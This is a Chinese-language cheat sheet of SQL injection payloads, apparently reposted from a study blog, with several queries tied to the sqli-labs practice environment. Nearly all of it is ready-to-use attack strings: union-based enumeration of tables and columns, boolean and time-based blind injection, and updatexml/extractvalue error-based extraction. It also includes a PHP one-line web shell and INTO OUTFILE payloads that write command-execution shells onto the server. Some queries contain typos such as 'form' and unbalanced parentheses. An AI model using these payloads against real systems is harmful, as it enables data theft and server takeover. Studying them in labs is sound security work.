sql注入之payload


/*
*GET,post
*有返回
*
*/


基於報錯的SQL注入
1、獲取字段數
' order by 5 --+
2、獲取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
select group_concat(table_name) from information_schema.tables where table_schema=database()
3、獲取字段
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
select group_concat(column_name) form information_schema.columns where table_name='users'
/*
*GET,post
*無返回,無報錯,
*/

盲注,通常采用下面的辦法猜解字符串.
' and length(database())=8 --+
' and ascii(substr(database(),1,1)) > N --+
' and ascii(substr(database(),1,1)) = N --+
' and ascii(substr(database(),1,1)) < N --+

//基於時間的盲注,常和布爾盲注結合起來用
//在頁面上無論正確與否,都沒有任何提示的情況下,用
' and if(length(database())=8,sleep(3),null) --+ //正確的話就執行sleep
' and if(length(database())=8,1,sleep(3)) --+ //正確的話就不執行sleep
'or if(length(database())=8,sleep(3),null) or '1'='1

/*
*GET,post
*無返回,有報錯,
*用於select,insert,update,delete語句注入
*/

updatexml()報錯的注入
UPDATEXML (XML_document, XPath_string, new_value);?
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc?
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。?
第三個參數:new_value,String格式,替換查找到的符合條件的數據?
payload:
//查詢當前MySQL版本
'and updatexml(1,concat(0x7e,(select @@version)),1) or '1'='1
'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '
//查詢當前數據庫名
'and updatexml(1,concat(0x7e,(select database(),0x7e),1) or '1'='1
//查詢表名(當前數據庫下的)
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '1'='1
//查詢字段名(users表中的)
'and updatexml(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='users'),0x7e),1) or '1'='1

基於insert/update下的報錯
'or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '
基於delete下的報錯
'or updatexml(1,concat(0x7e,(select @@version),0x7e),1)

extractvalue()
/*#為單行注釋
*與updatexml沒有什么不同
*/
'and extractvalue(1,concat(0x7e,(select @@version))) #


/*
*一句話木馬
*/
php: <?php @eval($_GET['string'])?>

//sql注入漏洞之 讀寫文件
//寫入文件路徑為相對路徑時,默認寫入到數據庫所在文件夾中
1111111'union select 1,2,"<?php @eval($_GET['string'])?>" into outfile "1.php" --+
//也可以寫成絕對路徑,此處為Windows的路徑
1111111'union select 1,2,"<?php @eval($_GET['string'])?>" into outfile "D:\\web_security\\1.php" --+
1111111'union select 1,2,"<?php system($_GET['cmd'])?>" into outfile "D:\\web_security\\1.php" --+
//相對路徑的寫法
-14' union select 1,2,"<?php system($_GET['cmd'])?>" into outfile "../../www/sqli/Less-1/2.php" --+

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM